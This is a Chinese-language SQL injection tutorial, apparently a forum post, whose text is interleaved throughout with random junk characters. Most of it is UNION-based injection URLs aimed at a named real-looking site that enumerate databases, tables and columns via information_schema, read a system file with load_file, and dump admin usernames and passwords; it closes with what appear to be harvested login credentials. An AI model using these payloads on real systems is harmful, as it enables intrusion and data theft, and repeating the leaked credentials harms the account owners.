此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
+ u; ]9 p# e4 N9 T6 D但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人$ I& }- G8 U7 E% X; @! p/ {5 }
) @/ u7 Y# g+ f j) E0 z) ]7 {' t' ~2 ]$ T- _
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入; ^9 K% y( I q2 w' V) i2 t( j
3 R. ^1 n& L+ D4 b Z7 Z( B# ~缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
! o3 M; Y, W3 J' j1 D; {
! O3 D9 C$ d& |- Y! D- b3 m# z( @下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示0 l0 h: C) o) \9 Z3 D o+ t
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等+ p2 B8 M4 K$ }
6 }% c6 f- o9 ?9 L5 r* F) o
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
3 _, h5 D# c! G' A3 X2 {; }% B* l$ u$ j# D9 y- {. t9 L" w
读出所有库:) B& r- ^' P. e/ [; ^- e
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA7 ~# G2 O% |8 L$ o) y+ f% [
% | i, y1 s6 Z3 G0 ^$ j. ?/ z
6 c+ }& t# e. J& M1 O! f- {0 Y' f* J
( g( B* T9 @3 w) b# i/ ^. H2 g$ _读出所有表:
2 C" z/ ~' D+ U" c6 A! l, @http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()6 A" Z8 S6 f. C( V8 u+ a
8 U: p2 A/ b3 k! S4 o* b# ?+ J读出所有表字段:- g0 \; G0 \# Q$ \' ^" w4 Z9 e" f {0 h6 l
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)( l2 L, ~! N; s: I- E, X t. S
*/ (97,100,109,105,110)为admin的ascii码 依次类推$ t K, B5 `2 L* p
: Y% T( \; D- I: p7 L& u
读出所有表字段里的内容:
t7 g# @, I; C# Zhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
; ~$ j1 J) e6 ?: ?, L& i! F; ?4 @
: q4 j5 q! C; f+ i6 N: {! X
1 A. R) d1 k# B; Z" U+ ]4 ] u, y9 }9 V m) X8 k
+ d9 Q1 U" Y- k2 X7 e3 u4 |7 n( v* |7 W
$ e4 J g0 o) U
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
$ S" f$ N5 o4 L6 v5 p3 r( U. s2 @" Z6 @+ { h, c
" _) C0 t0 F+ t/ m/ ]* S I
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
; V" Z# F0 N& ?" C# B
0 ?8 ~& D T( H: F: b* shttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
- }' [9 y8 z( u: D5 h3 e: D2 I V9 |: r+ k: n
4 u2 g5 s1 [4 Y/ Chttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
8 U# \& M1 T: m, n. j
' C |5 |0 G9 H" H J0 m" N/ S5 Z. ~/ \
webmaster:dzb521123,simlab:simadmin20043233
' j G, E* _+ z, R2 n" E% m |